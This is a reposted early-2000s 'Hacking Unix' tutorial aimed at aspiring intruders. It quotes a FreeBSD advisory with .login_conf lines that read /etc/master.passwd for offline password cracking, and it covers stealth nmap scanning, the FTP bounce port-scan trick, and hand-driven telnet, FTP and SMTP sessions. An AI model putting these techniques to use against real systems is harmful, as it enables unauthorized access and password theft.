[转载]Hacking Unix
文章作者：astalavistaThis is the combined version of all parts.
INDEX:
1. - Security and Vulnerabilities
1.0. - Forword
1.1. - Audience
1.2. - Conventions
1.3. - Orientation
1.4. - Vulnerabilities
1.4.1 - Full Disclosure
1.4.2 - Exploit Code
1.4.3 - 'Access Levels' and 'Environments' and 'Security'
1.5. - Where do vulnerabilities occur?
1.6. - Who finds vulnerabilities
1.7. - Last words
2. - System Profiling
2.0. - Forword
2.1. - Introduction
2.2. - Protocols
2.2.1 - Network Protocols
2.2.2 - Application Protocols
2.3. - Portscanning well-known network services
2.4. - Widely used Application Protocols - Detailed
2.4.1 - FTP
2.4.2 - SSH
2.4.3 - TELNET
2.4.4 - SMTP
2.4.5 - DNS
2.4.6 - HTTP
2.4.7 - POP3
2.5. - OSI (network protocols - a deeper look)
2.5.1 - The Application layer
2.5.2 - The Presentation layer
2.5.3 - The Session layer
2.5.4 - The Transfer layer
2.5.5 - The Network layer
2.5.6 - The Data-Link layer
2.5.7 - The Physical layer
2.6. - Back to system profiling
2.6.1 - The importance of system profiling
2.6.2 - "Planning"
2.6.2.1 - Available Information
2.6.2.2 - Active Server-oriented Information probing
2.6.2.2.1 - PING
2.6.2.2.2 - DNS & Zone Transfers
2.6.2.2.3 - WHOIS
2.6.2.2.4 - Scanning Services
2.7. - Last words
3. - After the break-in
3.0. - Forword
3.1. - Introduction
3.2. - Hiding your source location
3.2.1 Hopping the internet
3.3. - Wiping the logs
3.3.1 - UTMP
3.3.2 - WTMP
3.3.3 - LASTLOG
3.3.4 - Using logwipers
3.3.5 - Other logs
3.3.6 - Wiping the plaintext logs
3.4. - Installing rootkits
3.4.1 - Trojaned binaries
3.4.2 - Kernel Modules
3.5. - Installing backdoors
3.5.1 - Basic local backdoors
3.5.2 - Basic remote backdoors
3.5.3 - Trojaned services
3.5.4 - Advanced Backdooring
3.5.4.1 - Covert channels
3.5.4.2 - WebApplication backdoors
3.5.4.3 - Others
3.6. - Spy!
3.6.1 - Sniffers
3.6.2 - Other stuff
3.7. - Final words
4. - Dealing with Firewalls
4.0. - Forword
4.1. - Introduction
4.2. - Packet Filtering Firewalls
4.2.1 - A pracical Example
4.3. - How does the packet filter work
4.3.1 - Introduction
4.3.2 - Stateless or Stateful
4.4. - Dealing with Firewalls
4.4.1 - Introduction
4.4.2 - 2D mapping of a firewall ruleset
4.4.3 - 3D mapping of a firewall ruleset
4.5. - Using the gathered information
4.6. - Final words
5. - Passive network attacks
5.1. - Introduction
5.2. - Sniffing shared networks
5.2.1 - Introduction
5.2.2 - Sniffer construction
5.2.3 - Sniffer detection
5.2.3.1 - Local
5.2.3.2 - Remote
5.3. - Sniffing switched networks
5.3.1 - Introduction
5.3.2 - ARP poisoning
5.3.2.1 - ARP Introduction
5.3.2.2 - ARP table poisoning
5.3.2.3 - DoS
5.3.2.4 - ARP Man in the Middle
5.3.2.5 - Detection
5.3.3 - Switch table poisoning
5.3.3.1 - Switch Introduction
5.3.3.2 - Switch redirection
5.3.3.3 - Man in the Middle
****************************************************************
- HACKING UNIX -
CHAPTER ONE:
Security and Vulnerabilities
-----------------------------------
0. Forword
Yes, this is another tutorial trying to put 'all-in-one'. As far is I know
there is not a good and recent written tutorial like this. Old texts do
still have a value though, but i think much is obsolete now. Examples of
such tutorials are:
* User's Guide 1.0 - Phantom
* A Novice's Guide to Hacking (1989) - The Mentor [LOD]
* NEWBIES HANDBOOK ; HOW TO BEGIN IN THE WORLD OF H/P - Plowsk?Phreak
* THE ULTIMATE BEGINNER'S GUIDE TO HACKING AND PHREAKING - REVELATION [LOA--ASH]
* Beginners Guide to VAX/VMS Hacking (1989) - ENTITY [Corrupt Computing Canada]
* THE NEOPHYTE'S GUIDE TO HACKING (1993) - Deicide
I have read all these when i was first interested and they didn't help me
much in really learning the subject. Especially now much in these
tutorials is outdated and irrelevant. But i think it's not bad to read
them afterall, this is oldskool hacking which is always fun-reading. Also
take a look in the phrack archives ([url]www.phrack.org[/url]) in the old issues, for
a look in the past.
At first I wanted to release the 'HACKING UNIX' tutorial as a whole. But I
couldn't wait to release it. I decided to break it up in parts and release
it in parts. I will do my best to complete everything a.s.a.p. This part
on 'Vulnerabilities and security' was finished awhile ago though. And I'm
almost finished with the next part.
1. Audience
You're probably using windows and you're interested in hacking. You
searched for hacking sites on the internet and there you found tools
(wares) which you can use to hack other people. You have tried netbus and
back orifice or other tools, you've collected them and put them on a new
'hacking page'. You found out that you need a strong l33t handle that
reflects your skillz; like "inv1sibl3 predat0r". You have hacked into your
friends' computers and your friends are truly impressed and people phear
you.
Allright it's over now. Did you ever try any of your stupid warez against
your internet service provider's webserver uh? Didn't work exactly did it?
Well, I think that's why you're here right? Well, you're still a zombie
and I hope that I'll break the lameness out of you with this tutorial so
you can work on becoming a true and well respected hacker for the
community. You'll find out that hacking is not about the results it will
give you, it's the act itself that drives the hacker. Eventually only a
few of you will survive.
2. Conventions
I wanted to make this paper accessible for both beginners and more
advanced readers. Therefor, explanations (like technical jargon) are
explained in side-comments.
E.g.:
....the inetd superdaemon....
{
The Inetd superdaemon is a service that handles network
connections for network services that use it.
}
This way, the more advanced reader isn't bothered with information that he
already knows, and the beginner is still able to understand what I am
talking about.
3. Orientation
In a nutshell these are the steps the hacker takes:
An attacker first searches a system that he interested in.
Then he explores the system and it's weaknesses, break into the system and
get full control over the system, remove the traces of the hack and use
methods like backdoors to keep access to the system.
{
Exploring the system means evaluating it's security and see if you
are capable of breaking in. In this stage you have to make sure
you are not showing the victim that you are trying to break in!
}
{
Breaking into the system means finding vulnerabilities in
the configuration of a system, or see if there is a known
vulnerability in the software and exploiting them.
}
In the first few parts I will cover all the steps the attacker takes. You
should then understand how attackers attack, and -with some practice- be
able to do it yourself.
In the later parts (the advanced section) I will go deep into hacking
issues, I will talk about low-level network attacks, trust relations,
encryption, authentication and everything.
In this first part I skip the information gathering (profiling) of your
victim, and start off by introducing you with vulnerabilities; the
problems in systems that make attacks possible.
4. Vulnerabilities
Programs have bugs and bugs can often be taken advantage of.
{
Bugs that can be taken advantage of to bypass security
restrictions are called vulnerabilities.
}
This chapter introduces you to the community that searches and fixes
vulnerabilities.
If some individual finds a vulnerability in a server application like the
apache webserver (HTTP server) the individual often notifies the vendor
(the apache project in this example) of the problem. The vendor then looks
into the problem and fixes the vulnerability.
The fix is then provided to the users of the apache webserver in the form
of a work-around, a patch or a new release.
People are made aware of the vulnerability in the product they use, and
fix their servers, or they don't.
Because of this, vulnerabilities are often present in certain versions. So
if the attacker finds out which version of a product the victim uses, he
might find out that his victim uses a vulnerable version of the product.
This being said, the chance of being able to attack the target through a
known vulnerability depends on the degree of detail that the founder of
the problem has disclosed in his publication of the problem.
{
Papers/Articles that discuss a security vulnerability are called
'advisories'.
}
4.1 Full-disclosure
__When someone releases the details of a security problem in the degree
that another individual is capable of reproducing the
"state of exploitation"*, we call it a "full-disclosure advisory"__
{
The "state of exploitation" means 'the compromise of whole or
part of the target's environment* after bypassing the
security-policy that the target should have enforced.
Bypassing the intended security restrictions are -ofcourse-
discussed in the (full-disclosure) advisory.
*What exactly I mean with 'environment' in this context will be
explained in chapter 4.3.
}
4.1.1 Advantages and Disadvantages
The full-disclosure method has advantages and disadvantages for security.
Disadvantages of Full-Disclosure:
The disadvantage for security when writing and publishing a full disclosed
advisory is that many people are capable of attacking vulnerable servers.
And as many administrators do not care about vulnerabilities in software
they use, they have a high chance of being hacked by evil people like you
;-}.
Advantages of Full-Disclosure:
The advantage of full-disclosure is that security-concious programmers
will learn what programming methods are insecure. It also presses the
vendors of programs to quickly fix their crap and make sure it doesn't
happen again.
Full-dislosure has another advantage; admins will feel themselves
pressured to keep their software up-to-date as many people in the public
are capable of exploiting the software.
4.2 Exploit code
Full-disclosure reports often include 'exploit-code' which makes it even
easier to reproduce exploitation state, sometimes the 'sploit-code' is
this user-friendly* that a kid could break into a system with it.
{
*Though, most of the time the (ab)user has to modify the exploit
program alittle to make it work against his target.
}
Exploit code is simply a program that will automatically reproduce
exploitation state when you point it to a vulnerable server that
runs the vulnerable software.
The exploit-code is supposed to only be used by admins to test if their
systems are vulnerable. Therefor, some of the exploit code only proves
that the vulnerability exists without being usable for attackers. Although
a good attacker knows how to modify the exploit program to fit his needs.
When someone releases an advisory but doesn't include an exploit, it often
doesn't take long before someone writes one and submits it to bug tracking
mailing lists and exploit archive sites.
4.3 'Access Levels' and 'Environments' and 'Security'
When an attacker exploits a network service, this often doesn't mean that
the system is fully compromised yet. Most network service programs do not
require full system access for their tasks and are preferred to have
low-privileges.
{
Privileges involve access control rights on files, network
resources, memory access, system calls etc.
This will be called the program's (or users') 'environment'
throughout the rest of this guide.
}
Though sometimes a network service requires superuser privileges for
certain tasks. A good process only runs particular tasks with super-user
privilege and not the whole process.
When an attacker compromises whole or part of a target process' the
attacker atleast has a more flexible environment where it becomes easier
to gain superuser privileges.
{
The scenario where the attacker has compromised an environment
where he can read files and execute programs is called 'local
access'. Many admins don't really care about vulnerabilities in
programs that are not accessible through network services and
often don't bother to fix these problems because it doesn't seem
like a direct threat.
}
No system is totally secure, all an admin can do to minimize the danger of
a vulnerable or misconfigured server program, is to minimize the
resources the programs have access to. This minimizes the environment of
an attacker that gained access to that program's environment and makes it
harder for the attacker to gain full access.
{
A good security setup is created by first disabling everything,
and then discover what *has* to be enabled.
After that the admin simply fixes known security problems when
they come out.
}
So security is all about evaluating what privileges a program or user
needs (and doesn't need).
The 'environment' I'm talking about is enforced by the kernel. The kernel
allows or denies access to files, to network sockets, to I/O devices and
all.
The operating system controls only the program's environment and users's
environment. The programs that provide services to users are responsible
for restricting user access to their own environment
{
A webserver has a directory like '/var/www/htdocs' where the
DocumentRoot of the HTTP service resides. The webserver program
itself is allowed to access the /etc, /usr, /home and /proc
directory's by the operating system. So the environment that the
operating system provides to the webserver program is much wider
than the environment that the webserver provides to site visitors;
It only gives read access to /var/www/htdocs/, and all
attempts to access directory's beneith htdocs/ are denied by the
webserver. Any succesful attempt to break out of the virtual
environment that is provided by the webserver is a vulnerability.
Such a vulnerability will give a degree or full access to the webservers
environment within the system. A full access to the webserver's
environment means that we can execute programs, browse directory's and
read all files that the webserver program has access to within
the system.
}
5. Where do vulnerabilities occur?
Basically vulnerabilities occur in (to list some):
- input handling
- configuration errors
- communication
- trust relationships
- authentication handling
- cryptography bugs
- wrong security policy
So it happens everywhere... it happens at the vendor of a specific
program. It happens at the operating system vendor which puts programs
into a distribution. It happens when admins install things wrong or set
things wrong. It happens when communication protocols are unreliable. It
happens between communication of programs. It happens when users are
stupid. It happens when two programs on a system form security problems.
5. Who finds vulnerabilities
Real hackers find the vulnerabilities.
{
Hackers search for ways to make a *system do things that shouldn't
be possible.
*A system can be anything: a program, a user (person), a
protocol.
}
A hacker will examine a program on how it works.
{
This is done for example through tests, reverse engineering or
simply reading the *source code.
Source code (for the total beginner) are the programmers'
instructions in a certain programming language that make up the
program before it is converted into machine language.
}
He will learn about the procedures a program takes and he will investigate
whether the methods used are secure. The procedures might rely on other
software, kernel calls and network communication.
To make you understand, here's a security advisory to make you see what I
mean;
------------------------------------------------------------------------------
Date: Thu,?0燬ep?001?1:48:34?0200
From: "Przemyslaw燜rasunek"?venglin@freebsd.lublin.pl>
Subject: Local爒ulnerability爄n爈ibutil燿erived爓ith燜reeBSD?.4-RC
(and爀arlier)
Organization: babcia爌adlina爈td.
To: <[email]bugtraq@securityfocus.com[/email]>
?Hello, OpenSSH derived with FreeBSD 4.4 (and earlier) doesn't drop
privileges before messing with login class capability database. The most
problematic is:
if (newcommand == NULL && !quiet_login && !options.use_login)
{
fname = login_getcapstr(lc, "copyright", NULL, NULL);
if (fname != NULL && (f = fopen(fname, "r")) != NULL) {
while (fgets(buf, sizeof(buf), f) != NULL)
fputs(buf, stdout);
fclose(f);
and
f = fopen(login_getcapstr(lc, "welcome", "/etc/motd",
"/etc/motd"), "r");
[...]
while (fgets(buf, sizeof(buf), f))
fputs(buf, stdout);
fclose(f);
in session.c, which allows to read ANY file in system with superuser
privileges, by defining:
default:\
:copyright=/etc/master.passwd:
or
:welcome=/etc/master.passwd: in user's ~/.login_conf. login(1), which is
suid and spawned by telnetd also is vulnerable to similar attack:
if (!rootlogin)
auth_checknologin(lc);
[...]
(void)setegid(pwd->pw_gid);
(void)seteuid(rootlogin ? 0 : pwd->pw_uid);
Checking for nologin is performed with superuser privileges.
auth_checklogin() is libutil function which displays nologin file, as
defined in login capability database. User can read ANY file in system by
defining:
default:\
:nologin=/etc/master.passwd:
FreeBSD core team has been aleady informed and official patches were
incorporated into CVS repository *before* 4.4-RELEASE, although 4.4-RC and
earlier verions are vulnerable and needs to be patched with:
[url]http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libutil/login_cap.c?rev=1.17.2.3&content-type=text/plain[/url]
Official advisory is pending. It's possible, that other *BSD systems,
supporting login capability database are also vulnerable.
--
* Fido: 2:480/124 ** WWW: [url]http://www.frasunek.com/[/url] ** NIC-HDL: PMF9-RIPE
*
* Inet: [email]przemyslaw@frasunek.com[/email] ** PGP: D48684904685DF43EA93AFA13BE170BF
*
------------------------------------------------------------------------------
This is a nice full-disclosure advisory example: It explains the
programming error, the way it can be exploited and it links to the
vendor's patch.
I don't expect you to understand this advisory, but you should have
figured out how it can be exploited (on unpatched systems).
What it says is that a user can create a file called '.login_conf' (which
is probably already there) in their home directory, and when putting a
line like:
----
default:\
:copyright=/etc/master.passwd:
----
or
----
default:\
:welcome=/etc/master.passwd:
----
in the .login_conf file, the login process will then read that file once
you re-login. And because it still has root privileges (it doesn't return
to it's normal user-id) you can place any file name in the .login_conf,
and it will be displayed when you log in! This means you can read the
master.passwd file where the password-hashes for all users are stored.
Ofcourse that file should not readable for a normal user. But if you are
able to read it, like in this case, you can perform a brute-force attack
using password-crackers like CRACK-5.0, and then it will only be a matter
of time before you the root password is recovered.
{
Though when the root users' password consists of more than 8
characters and he uses a combination of numeric and alphanumeric
and other characters as a password, it might take the fastest
computer on earth over a year to crack it.
}
Now back to the subject...
Note that the hacker had first informed the vendor FreeBSD which created a
patch. After the patch was released, the hacker posted the vulnerability
information as full-disclosure advisory to the BugTraq mailing list and
included a link to the patch (the fix) for the bug which FreeBSD released.
There are also people that don't report bugs to vendors and the public and
use their information for their own sake.
There are alot people in the underground (black-hat hackers) that keep
the information to themselves. Exploits which are not publicated are
called zero-day's (0-day).
There is nothing you can do about that, you can only minimize the risk by
disabling services that you don't need. And you can restrict service
programs that you do need as explained in chapter 4.3.
7. Last words
I hope that you understand the basic picture of security and
vulnerabilities.
- HACKING UNIX -
CHAPTER TWO:
System Profiling
----------------
******
INDEX:
0. - Forword
1. - Introduction
2. - Protocols
2.1 Network Protocols
2.2 Application Protocols
3. - Portscanning well-known network services
4. - Widely used Application Protocols - Detailed
4.1 FTP
4.2 SSH
4.3 TELNET
4.4 SMTP
4.5 DNS
4.6 HTTP
4.7 POP3
5. - OSI (network protocols - a deeper look)
5.1 The Application layer
5.2 The Presentation layer
5.3 The Session layer
5.4 The Transfer layer
5.5 The Network layer
5.6 The Data-Link layer
5.7 The Physical layer
6. - Back to system profiling
6.1 The importance of system profiling
6.2 "Planning"
6.2.1 Available Information
6.2.2 Active Server-oriented Information probing
6.2.2.1 PING
6.2.2.2 DNS & Zone Transfers
6.2.2.3 WHOIS
6.2.2.4 Scanning Services
7. - Last words
****************************************************************
0. Forword
This is the second part of the 'Hacking Unix' tutorial project found at:
[url]http://duho.cjb.net/[/url] -> projects -> Hacking Unix.
This part is released two days after the first release (just had to add a
few chapters). Don't be afraid of the size of this text, the text is
designed so that you can skip parts that you already know.
1. Introduction
Okay, i introduced you to vulnerabilities in the first part to keep the
spirit of hacking with us. But not less important to understand is how we
search for vulnerabilities. It may not be hard to find them, but it's
important to not raise any alerts in this stage. We want to leave less
than fingerprints rather than footprints in the logs. This step
involves network services, network protocols and application protocols.
You know that we want to attack applications in a remote system. So we
should find out which applications run on the remote server that can be
interacted with. Any software that is accessed remotely on the server can
suffer a security hole. In this step we have no access to the server or
whatsoever, so we need to take a good look at outside of the nut before
cracking it.
When we can only look from the outside of the server we only have it's
network services* that possibly contain a hole somewhere.
{
* Client-Server model - The server is a host computer that employs
particular service software to serve a client.
The service passively waits for a client to call for it's
service. There are standards towards how a client and a service
should talk to each other (the protocol).
}
One thing we can do is use all kinds of clients for different network
services like FTP, WWW (HTTP), email and stuff like that to see what
services are running out there. But we could do better than that, but this
requires us to know a little about network protocols and application
protocols.
2. Protocols
2.1 Network Protocols
The internet is a network of computers which all have an identifying
number, the IP number (Internet Protocol Number). Every computer or other
device connected to the internet has an Internet Protocol number.
IP is built into the operating systems of these devices. Simply stated,
all IP networked systems capture the IP data packets that are destined to
theirselves, and try to forward those destined to other addresses
(numbers).
{
All that IP is ought to do is reliably routing (for IP) unknown data to
any address on the network. This is a shared responsibility of all IPs
that reside on the network.
}
But in order to actually communicate information we use higher level
protocols (on top of IP - Or: encapsulated in IP packets):
Between the IP protocol and the application we have the transfer protocol.
On the internet there are two major transfer protocols; UDP and TCP. When
IP receives a datagram destined to it's own address, it forwards the
packet to one of the transfer protocol modules in it's operating system.
IP knows which module should handle it because the sender writes the
destination (transfer) protocol number on the packet. Like '6'
for TCP. The transfer protocol module has a series of addresses available
(ten thousands of them) where communication applications can listen on
(passive mode) or sent to (active mode). So the sender must also add
information to the protocol header which port (address) the application
should be listening on.
For example:
TCP states that we have to use two different applications; a service and a
client. The client connects to the server's TCP port and the service will
acknowledge the request and a connection is open.
{
When a TCP port is open there is almost always an application listening on
that port to start a session with any client that connects.
}
TCP provides ports 1 through 65535 for connections. So how does a client
know which TCP port to connect to? That's easy, for all known services
like HTTP we have well-known ports. To make a service application publicly
available you use the well-known port. HTTP has TCP port 80 to listen to.
{
NOTE: These well-known ports are not a standard defined in the TCP
specification! As far as TCP is concerned, it would be happy to
address ANY kind of service on ANY port, even well-known ports.
Only, the application protocol specification recommends the use
of a certain port.
If you want to hide your webserver or FTP server, you could set it
on a different port (if your software is configurable for it).
This hiding ofcourse is 'security through obscurity' and it won't
hide from curious people.
}
And when you type in an IP address in your browser which has a HTTP server
running, you will receive the webpage through the connection.
2.2. Application Protocols:
I'm going to introduce you to several well-known application protocols
just a few pages ahead of you. First you should know what basically an
application protocol is for.
An application protocol is a language for requesting resources of any kind
in a certain format. Resources may be; file transfer; information; news;
sound transfer and mail.
3. Portscanning well-known network services
In order to find out which network services are available on a remote
computer, we could simply try out some different clients and see the
results. But I think you can figure another way if you have read the
former chapter.
We can 'scan' for TCP ports (and UDP ports) simply by trying to connect to
every possible port and see which ones are open.
So see which port numbers are open and compare them to a list of
well-known services.
I have a list of the most well-known services and their ports here:
21 - FTP (File Transfer Protocol)
22 - SSH (Secure SHell)
23 - TELNET
25 - SMTP (sendmail server)
53 - DNS (Domain Name Service - Nameserver)
79 - FINGERd (finger daemon)
80 - HTTPd (Hyper Text Transfer Protocol Daemon)
110 - POP3 (Post Office Protocol version 3)
111 - SUNRPC Portmapper (SUN's Remote Procedure Call service port mapper)
You can program your own scanner but i bet it won't be as l33t as Fyodor's
nmap so give it up. Download Nmap from [url]http://www.insecure.org/nmap/.[/url]
Nmap has many features to stay undetected. For the following example i
will use the old stealth scan option in nmap to scan myself kay?:
bash# nmap -sS localhost
Starting nmap V. 2.54BETA29 ( [url]www.insecure.org/nmap/[/url] )
Interesting ports on localhost (127.0.0.1):
(The 1541 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
25/tcp open smtp
80/tcp open http
587/tcp open submission
1024/tcp open kdm
1988/tcp open tr-rsrb-p2
6000/tcp open X11
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
bash5#
Ewh damn, looks pretty insecure, should have installed firewall but who
carez.
We go on to the next chapter now, don't worry; you'll see alot of the use
of portscanning techniques later.
4. Widely used Application Protocols - Detailed
Most application protocols (which i will just call protocols for the rest
of this chapter) are easy to interact with by normal humans without using
a special User-side protocol interpreter. Perhaps this is because most
protocols that are developed in the early 70s use simple commands like
'GET <file>' and 'user <name>' and 'mail from: <mailaddress>'.
{
This was back in the time that opensource was all there was. In the
present the company's try to hide the workings of their protocols to
create a monopoly.
That these protocols look so easy doesn't mean they are not good,
why do you think they survived for somany years?
}
It shouldn't be hard to build your own clients when you are a programmer.
The knowledge of each protocol is very important for a hacker.
In this chapter i will give you some practical examples which you can try
out. You will need a TELNET application (most systems just have a program
'telnet' in console mode which will do; even windows has!). And you need
the netcat program for some of them.
{
Netcat is a very 'basic' yet advanced application, it is the swiss
army-knife of the hacker. With netcat you can initiate UDP and TCP
connections in full-duplex (like telnet), netcat can handle binary data
and you can open a port in passive listening mode on the port you specify
(which is very convenient you'll see). Download netcat here:
[url]http://packetstormsecurity.org/UNIX/netcat/nc110.tgz[/url]
************ Download+Install netcat: ********************
--
bash# mkdir netcat
bash# cd netcat
bash# lynx -source [url]http://packetstormsecurity.org/UNIX/netcat/nc110.tgz[/url] > nc110.tgz
bash# tar xvzf ./nc110.tgz
bash# make linux
--
If you get this compiler error:
------
make -e nc XFLAGS='-DLINUX' STATIC=-static
make[1]: Entering directory `/root/netcat'
cc -O -s -DLINUX -static -o nc netcat.c
/tmp/ccZHNpqq.o: In function `main':
/tmp/ccZHNpqq.o(.text+0x15b7): undefined reference to `res_init'
collect2: ld returned 1 exit status
make[1]: *** [nc] Error 1
make[1]: Leaving directory `/root/netcat'
make: *** [linux] Error 2
------
If you got that compiler error you must remove the following ifdef from
the netcat.c file:
------
#ifdef HAVE_BIND
/* can *you* say "cc -yaddayadda netcat.c -lresolv -l44bsd" on SunLOSs? */
res_init();
#endif
------
And reinitiate 'make linux'.
The compiler didn't show any errors anymore, you can run netcat with:
# ./nc
********************************
}
I'm glad you made it this far. We're gonna use netcat to learn how
services really work. After this chapter you should be able to do alot of
things without requiring a special client. You would be able to email
without using a mailer, you can read files on webservers without a
webbrowser, you will download files without an ftp client program.
{
In the past there were many people simply using TELNET to send mail, but
people have become lazy and they demand a flashy graphical user interface
to get turned on.
Hehe funny to note; I have heard about someone that was fired at his job
because people thought he was hacking; he was checking his POP3 mail with
telnet.exe because his outlook crap seemed dead :-}. So I want to remember
you; I'm not responsible! hahaha
}
I encourage you to lookup the Request for Comments (RFCs) at
[url]www.rfc.org.uk[/url] to learn more about a specific application protocol (or
transfer and communication protocols). Hacking is about understanding a
system so you can defeat it remember? So if you know how a standard
*should* be implemented, you can test if vendors of services implement the
standard securely.
I will introduce you to the following services in a practical manner: FTP,
SSH, TELNET, SMTP, HTTP, POP3
4.1 FTP - File Transfer Protocol
FTP is a pretty simple protocol to use. FTP uses a control connection and
a data connection. The control connection is initiated by the client PI
(Protocol Interpreter) and it is used to send commands. The control
connection uses TELNET control characters like <CRLF> (Carriage Return and
Line Feed). So if we can't use an FTP client we can use the telnet client
for the control connection. And concerning the data connection... that's
where netcat comes in. Let's just start a session. First you got to know
that everything starting with a 3-digit number is the reply of the FTP
server, the rest are my commands. I use console tty1 for the control
session and i use netcat in console tty2 for the data connection:
Console TTY1 | Console TTY2
-------------------------------|--------------------------------------------
bash# telnet ftp.kernel.org 21 | bash#
Trying 204.152.189.113... |
Connected to zeus.kernel.org. |
Escape character is '^]'. |
220 ProFTPD 1.2.2 Server |
USER anonymous |
331 Anonymous login ok, |
send your complete email |
address as your password. |
PASS [email]asdf@asfd.com[/email] |
230- Welcome to the |
|
LINUX KERNEL ARCHIVES |
ftp.kernel.org |
|
"Much more than just kernels" |
|
230 restrictions apply. |
|
PORT 213,93,39,87,4,1 | bash# nc -v -v -l -p 1025
200 PORT command successful. | listening on [any] 1025 ...
NLST | connect to [213.93.39.87] from zeus.kernel.org [204.152.189.113] 20
150 Opening ASCII mode data | lost+found
connection for file list. | pub
226 Transfer complete. | welcome.msg
| for_mirrors_only
| debian
| debian-cd
| sent 0, rcvd 67
| bash#
-------------------------------|--------------------------------------------
The console on TTY1 is used for the control connection, and the TTY2
console represents the data connection.
With the PORT command you specify which local data port we use to receive
the data (a file, a directory listing etc.). So the command looks like
this;
PORT h1,h2,h3,h4,p1,p2
the h* represents the IP address of yourself, and the p* is for the port
address (TCP). When i don't have my local port open i will get an error:
PORT 213,93,39,87,4,2
200 PORT command successful.
LIST
425 Can't build data connection: Connection refused
So in this case port 1026 was not listening on my PC... if i had a netcat
in listening passive mode like in the example or like this: ./nc -l -p
1026 i would have received the listing. By the way; the NLST is almost
same as LIST only it shows less information on the filelist.
In the past it was possible to create a data connection on a different
system, with a different address, like this (i am using 213.93.39.87 as IP
and i'm gonna try to retrieve a file on the IP address 213.93.39.1):
PORT 213,93,39,1,4,1
500 Illegal PORT command.
This is illegal because i don't use my own IP address. I think it's a
pitty that you can't receive the file on another system. It was possible
in the past but it happens to open a security vulnerability. Where it
is enabled you could abuse it to scan ports of a server with it in this
way:
-------
PORT 213,93,39,1,4,2
200 PORT command successful.
LIST
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
PORT 213,93,39,1,4,1
200 PORT command successful.
LIST
425 Can't build data connection: Connection refused
-------
You see, on host 213.93.39.1 the port 1026 is open and port 1025 is
closed. You'll have a hard time finding hosts nowadays that suffer this
FTP bounce attack. It can also be used to execute certain exploits this
way. You should have noted that this technique is of interest to attack a
third system without revealing your address on the internet but that of
the FTP server.
Now i bet you wondered what a weird port address i was entering (4,1).
Well... it's easy, p1 and p2 are both 8bit so i need to define the port
address i want to use and then / 256... so if i want to use port 1024 i do
1024 / 256 = 4,0
What is 4 times 256 ?? 1024!
Here are some other commands for the control connection:
CWD <directory> (change working directory to... -> (allows only one dir at
a time))
RETR <file> (RETRieve file through data connection (setup netcat!))
PASV (tells which port the server is listening to for uploads over data
connection)
STOR <file> (dump the file using netcat to the remote port found with PASV)
PWD (prints current working directory)
RNFR (first command specifying the current name of path to change)
RNTO (Rename To ... second command to complete rename of file)
ABOR (stop data transfer in data connection)
DELE <file> (delete file)
RMD <directory> (remove empty directory)
MKD <directory> (create directory)
SITE (vary's coz these are site specific commands, lookup with HELP SITE)
Using this information you should be able to browse FTP servers simply
with telnet and netcat! :)))
4.2 SSH - Secure SHell
I don't know much about the internals of SSH. I use it myself by replacing
it for TELNET and FTP. For what i know of SSH is that it exists of three
layers; the transport layer, the user-authentication layer and the
connection-layer. I believe the Transport-layer of SSH is the lowest of
the layers which delivers a secure transport layer before the
authentication proceeds. Then the user logs in and the password (and the
rest of the communication) cannot be captured in a readable form by spies
on untrusted networks. The connection protocol serves the session. A login
is almost similar to telnet:
bash# ssh -l user localhost
XT@localhost's password:
Last login: Mon Sep 24 18:52:36 2001
Linux 2.4.9.
A student who changes the course of history is probably taking an exam.
user@stealth:~$
As i said, i only use SSH, i never used it to hack into a system... but i
know of difficult attacks involving hijacking of sessions and stuff like
that. You should search for it yourself.
4.3 TELNET
The telnet protocol itself is a simple standardization of control
characters for terminal usage so that users at different systems can login
to a system while using the TELNET standard. People can use different
keyboards and different keyboard control characters, different operating
systems, telnet converts the characters into a defined standard character
set.
There is a IAC (Interpret As Command) byte followed by the control code.
The IAC has the value 255 (FFh) followed by the TELNET command code.
TELNET commands include erasing a character or a line, break input and
interrupt process.
When you connect to the TELNET login service you are asked for username
and password. What happens behind the scene:
The Inet super daemon listens on port 23, when someone connects the
in.telnetd process is run which in turn runs the login process
{
The INET SuperDaemon is a service that is able to run a specific
Unix network service when a connection for that particular service
is requested.
It is configured like this (config file);
ftp stream tcp nowait root /usr/sbin/tcpd proftpd
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
You see... if there is someone knocking on port 23, the inetd
service runs in.telnetd.
In Unix systems you can seperate services in processes of INETD or
standalone. Apache webserver almost always runs standalone (I
don't even know if it is ever put under INETD parent)
}
When the login process has successfully authenticated a user it will check
which shell to spawn in /etc/passwd:
user:x:1004:100:,,,:/home/duho:/bin/bash
{
Only notice '/bin/bash'.. the rest is explained later in this book
}
As you see the user 'user' gets the bash shell (bourne-again shell). This
is very simple. On recent systems the superuser 'root' is not allowed to
telnet into the box.. so don't be lame to try 'root' with password 'root'
logins as i've seen alot in the past (people trying that on my box).
Ohyeah, i've got to admit that i've tried this stuff when i was a newbie
:). But I don't believe there's even one unix box on the internet nowadays
where the password of root is root and while the telnet service enables
root logins. All login tries are logged on unix systems so don't be stupid
to try passwords.
I'll do one example telnet login:
bash# telnet
telnet> o localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
stealth login: user
Password:
Linux 2.4.9.
Last login: Tue Sep 25 15:45:26 +0200 2001 on pts/10 from localhost.
No mail.
People say I live in my own little fantasy world... well, at least they
*know* me there!
-- D.L. Roth
XT@stealth:~$ logout
Connection closed by foreign host.
bash#
4.4 SMTP - Simple Mail Transfer Protocol
SMTP is only for sending mail, retrieving mail is often done from POP3 or
IMAP services.
SMTP is easier to use than FTP. So this goes quick.
telnet <sendmail-server> 25
Example:
--------------
bash# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 stealth.duho ESMTP Sendmail 8.11.6/8.11.4; Tue, 25 Sep 2001 17:15:21
+0200
HELO x
250 stealth.duho Hello localhost [127.0.0.1], pleased to meet you
MAIL FROM:me@wonderland.net
250 2.1.0 [email]me@wonderland.net[/email]... Sender ok
RCPT TO:duho@my.security.nl
250 2.1.5 [email]duho@my.security.nl[/email]... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Subject: Haia
How's life?
Me.
.
250 2.0.0 f8PFFqN10598 Message accepted for delivery
quit
221 2.0.0 stealth.duho closing connection
Connection closed by foreign host.
bash#
--------------
First you saw the banner, and you see i'm running sendmail 8.11.6.
The command sequence is always the same:
HELO <hostname>
MAIL FROM:<mailaddress>
RCPT TO:<mailaddress
DATA
